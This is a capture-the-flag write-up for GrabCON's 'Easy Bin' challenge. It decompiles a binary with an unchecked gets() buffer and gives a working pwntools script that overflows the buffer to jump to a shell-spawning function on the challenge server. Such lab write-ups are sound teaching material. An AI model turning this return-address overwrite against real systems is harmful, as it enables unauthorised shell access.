GrabCON CTF — Easy Bin write-up

GrabCON CTF

---

I joined this GrabCON and left after solving just a bit of pwnable. There were 4 problems total but I only solved 3, so I'm very sad ㅠ.

CODE

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[48]; // [rsp+0h] [rbp-30h] BYREF

  gets(v4, argv, envp);
  printf("well lets check if you can bypass me!!!");
  return 0;
}

__int64 vuln()
{
  execve("/bin/sh", 0LL, 0LL);
  return 0LL;
}

It seems like an extremely simple BOF problem. The file is 64-BIT, and the payload will be dummy[48] + sfp[8] + vuln.

Source code

See more

from pwn import *

p = remote('35.205.161.145', 49153)

vuln = p64(0x401146)

payload = b''
payload += b'A'*56 + vuln

p.sendline(payload)
p.interactive()

[Hacking/System hacking] - [System hacking] Buffer Overflow (BOF)

[[System hacking] Buffer Overflow (BOF)

BUFFER OVERFLOW BOF is a vulnerability that occurs when you can receive input larger than the set buffer size. int __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [esp+4h] > ebp-34h..

— nabomhalang.tistory.com

---

Original (Korean): tistory — published 2021-09-09, migrated to this blog. This translation was generated with the help of AI.